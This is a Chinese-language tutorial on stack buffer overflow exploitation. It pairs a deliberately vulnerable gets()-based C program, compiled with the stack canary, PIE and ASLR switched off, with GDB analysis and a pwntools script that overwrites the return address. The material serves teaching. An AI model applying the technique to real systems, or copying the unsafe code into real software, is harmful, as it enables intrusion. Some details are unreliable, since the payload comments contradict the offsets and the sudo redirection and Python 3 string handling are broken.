从栈溢出原理到实例利用(一)
字数 1223 2025-08-29 08:30:36
栈溢出原理与实例利用教学文档
1. 栈溢出基础概念
栈溢出是指程序向栈中的某个变量写入超过其分配内存空间的数据,导致数据覆盖了相邻的内存区域。这种漏洞可以被利用来修改返回地址、控制程序执行流程。
2. 环境准备
2.1 示例程序
#include <stdio.h>
#include <string.h>
void success() {
puts("You Hava already controlled it.");
}
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
2.2 编译选项
gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example
-m32: 生成32位程序-fno-stack-protector: 关闭堆栈溢出保护(不生成canary)-no-pie: 关闭位置无关可执行文件(PIE),避免加载基址随机化
2.3 关闭ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space
ASLR级别说明:
- 0: 关闭ASLR,没有随机化
- 1: 普通ASLR,栈基地址、mmap基地址、.so加载基地址随机化
- 2: 增强ASLR,在1的基础上增加堆基地址随机化
3. 栈帧结构与调用约定
3.1 关键指令
-
CALL指令相当于:PUSH下一条指令地址(返回地址)JMP到目标函数
-
RET指令相当于:POP EIP(ESP+4)
-
LEAVE指令(32位)相当于:MOV ESP,EBPPOP EBP(ESP+4)
3.2 函数调用栈帧变化
- 调用者保存返回地址
- 被调用函数保存调用者的EBP
- 分配局部变量空间
- 函数执行
- 恢复栈帧(LEAVE)
- 返回(RET)
4. GDB调试分析
4.1 基本调试命令
gdb stack_example
b main # 主函数下断点
r # 运行程序
4.2 反汇编查看
disassemble /m # 带源码查看
disassemble /r 0x08048496,0x0804849e # 查看指定范围并显示机器码
4.3 栈帧变化分析
以vulnerable()函数为例:
push ebp- 保存调用者的EBPmov ebp,esp- 设置新的栈帧基址sub esp,0x18- 分配局部变量空间lea eax,[ebp-0x14]- 获取局部变量s的地址push eax- 准备gets()参数call gets@plt- 调用gets()- 栈恢复过程:
add esp,0x10- 清理参数leave- 恢复栈帧ret- 返回调用者
5. 漏洞利用原理
gets()函数不检查输入长度,可以覆盖:
- 相邻局部变量
- 保存的EBP
- 返回地址
通过精心构造输入数据,覆盖返回地址为success()函数地址(0x0804843b),即可控制程序流程。
6. 利用脚本编写
使用pwntools编写利用脚本:
from pwn import *
# 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
# 构造payload
# 'a'*0x14 覆盖缓冲区(12)和EBP(4)
# 'bbbb' 覆盖保存的EBP
# p32(success_addr) 覆盖返回地址
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
# 发送payload
sh.sendline(payload)
# 交互模式
sh.interactive()
7. 关键点总结
- 必须关闭栈保护(
-fno-stack-protector) - 关闭PIE(
-no-pie)使函数地址固定 - 关闭ASLR使栈地址可预测
- 准确计算偏移量(缓冲区大小+EBP大小)
- 小端序存储地址数据
- gets()等危险函数是常见漏洞点
8. 扩展学习
- 不同保护机制下的绕过方法
- ROP(Return-Oriented Programming)技术
- 现代漏洞缓解技术(ASLR, DEP, CFG等)
- 其他危险函数(strcpy, sprintf等)的利用
通过本教程,您应该掌握了基本的栈溢出原理、调试方法和利用技术。下一步可以尝试更复杂的漏洞利用场景。